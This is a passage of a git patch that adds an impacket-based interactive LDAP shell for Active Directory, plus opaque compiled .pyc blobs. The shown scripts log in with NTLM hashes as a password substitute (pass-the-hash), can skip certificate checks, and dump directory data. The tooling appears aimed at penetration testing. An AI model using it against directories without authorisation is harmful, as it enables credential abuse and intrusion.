From 1bfbf8fc8e32e5dce8afb7213c7f995c756c42d4 Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Fri, 23 Sep 2022 00:29:06 +0800 Subject: [PATCH] initial commit --- __pycache__/ldap_shell.cpython-310.pyc | Bin 0 -> 20667 bytes ldapsearch-test.py | 125 ++++ ldapshell.py | 135 ++++ utils/__pycache__/ldap_shell.cpython-310.pyc | Bin 0 -> 20566 bytes utils/ldap_shell.py | 649 +++++++++++++++++++ 5 files changed, 909 insertions(+) create mode 100644 __pycache__/ldap_shell.cpython-310.pyc create mode 100644 ldapsearch-test.py create mode 100644 ldapshell.py create mode 100644 utils/__pycache__/ldap_shell.cpython-310.pyc create mode 100755 utils/ldap_shell.py diff --git a/__pycache__/ldap_shell.cpython-310.pyc b/__pycache__/ldap_shell.cpython-310.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e4686f0f8e92e05fc7248d0702b1fadb229759a7 GIT binary patch literal 20667 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 Y9R5Jj5Y=+?pI{PwXH1XbZzB2s0OL!Mf&c&j literal 0 HcmV?d00001 diff --git a/ldapsearch-test.py b/ldapsearch-test.py new file mode 100644 index 0000000..2e6400a --- /dev/null +++ b/ldapsearch-test.py @@ -0,0 +1,125 @@ +import argparse +import gc +import sys +import logging + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.ldap import ldap +from impacket.examples import logger +from impacket import version + +class ldap_Shell: + def __init__(self, domain, baseDN, username, password, address, options): + self.domain = domain + self.baseDN = baseDN + self.username = username + self.password = password + self.lmhash = '' + self.nthash = '' + self.address = address + self.ldaps_flag = '' + self.gc_flag = '' + + if options.ldaps == True: + self.ldaps_flag = True + + if options.gc == True: + self.gc_flag = True + + if options.hashes is not None: + self.lmhash, self.nthash = options.hashes.split(':') + + def ldap_connect(self): + if self.ldaps_flag is True: + print("[+] Connecting ldap server over ssl (ldaps)") + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.domain , self.baseDN, self.address) + elif self.gc_flag is True: + print("[+] Connecting ldap server over global catalog (GC)") + ldapConnection = ldap.LDAPConnection('gc://%s' % self.domain, self.baseDN, self.address) + else: + print("[+] Connecting ldap server without any special") + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.domain, self.baseDN, self.address) + + ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + + return ldapConnection + + def dummySearch(self, ldapConnection): + # Let's do a search just to be sure it's working + searchFilter = "(&(objectclass=person)(sAMAccountName=xiaoli))" + + resp = ldapConnection.search( + searchFilter=searchFilter + ) + for item in resp: + print(item.prettyPrint()) + +if __name__ == '__main__': + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "impacket LDAP shell") + + parser.add_argument('target', action='store', help='[domain/][username[:password]@]
') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-ldaps', action='store_true', help='Connect ldap server over ldaps, port 636') + group.add_argument('-gc', action='store_true', help='Connect ldap server over gc, port 3268') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + try: + if domain == '': + print("[-] Domain need to be specify.") + sys.exit(0) + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + baseDN = '' + domainParts = domain.split('.') + for i in domainParts: + baseDN += 'dc=%s,' % i + # Remove last ',' + baseDN = baseDN[:-1] + + ldap_connector = ldap_Shell(domain, baseDN, username, password, address, options) + ldap_session = ldap_connector.ldap_connect() + ldap_connector.dummySearch(ldap_session) + + + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + sys.exit(0) + + \ No newline at end of file diff --git a/ldapshell.py b/ldapshell.py new file mode 100644 index 0000000..7ea2a28 --- /dev/null +++ b/ldapshell.py @@ -0,0 +1,135 @@ +import argparse +import sys +import logging +import ldap3 +import ldapdomaindump +import ssl + +from impacket import LOG +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from utils.ldap_shell import LdapShell +#from impacket.examples.ldap_shell import LdapShell + +class ldap_Shell: + def __init__(self, domain, baseDN, username, password, address, options): + self.domain = domain + self.baseDN = baseDN + self.username = username + self.password = password + self.lmhash = '' + self.nthash = '' + self.address = address + self.ldaps_flag = '' + + if options.ldaps == True: + self.ldaps_flag = True + + if options.hashes is not None: + self.lmhash, self.nthash = options.hashes.split(':') + if self.lmhash == "": + self.lmhash = "aad3b435b51404eeaad3b435b51404ee" + + def ldap_connection(self, tls_version): + user_withDomain = '%s\\%s' % (self.domain, self.username) + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(self.address, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if self.nthash != "": + ldap_session = ldap3.Connection(ldap_server, user=user_withDomain, password=self.lmhash + ":" + self.nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user_withDomain, password=self.password, authentication=ldap3.NTLM, auto_bind=True) + return ldap_server, ldap_session + + # For ldap3 with tls mode(only for ldap3). + # Picked function from rbcd.py + def ldap_sessions(self): + if self.ldaps_flag == True: + try: + return self.ldap_connection(tls_version=ssl.PROTOCOL_TLSv1_2) + except ldap3.core.exceptions.LDAPSocketOpenError: + return self.ldap_connection(tls_version=ssl.PROTOCOL_TLSv1) + else: + return self.ldap_connection(tls_version=None) + + def start_LDAPShell(self, ldap_server, ldap_session): + domainDumpConfig = ldapdomaindump.domainDumpConfig() + domainDumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, domainDumpConfig) + ldap_shell = LdapShell(self.baseDN, domainDumper, ldap_session) + ldap_shell.cmdloop() + +if __name__ == '__main__': + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "impacket LDAP shell") + + parser.add_argument('target', action='store', help='[domain/][username[:password]@]
') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + ''' + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + ''' + group.add_argument('-ldaps', action='store_true', help='Connect ldap server over ldaps, port 636') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + try: + if domain == '': + print("[-] Domain need to be specify.") + sys.exit(0) + ''' + if options.aesKey is not None: + options.k = True + ''' + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + baseDN = '' + domainParts = domain.split('.') + for i in domainParts: + baseDN += 'dc=%s,' % i + # Remove last ',' + baseDN = baseDN[:-1] + + ldap_connector = ldap_Shell(domain, baseDN, username, password, address, options) + ldap_server, ldap_session = ldap_connector.ldap_sessions() + ldap_connector.start_LDAPShell(ldap_server, ldap_session) + + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + sys.exit(0) + + \ No newline at end of file diff --git a/utils/__pycache__/ldap_shell.cpython-310.pyc b/utils/__pycache__/ldap_shell.cpython-310.pyc new file mode 100644 index 0000000000000000000000000000000000000000..9ed192b8042b7df17ac894073d8cf3b4761bffa2 GIT binary patch literal 20566 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 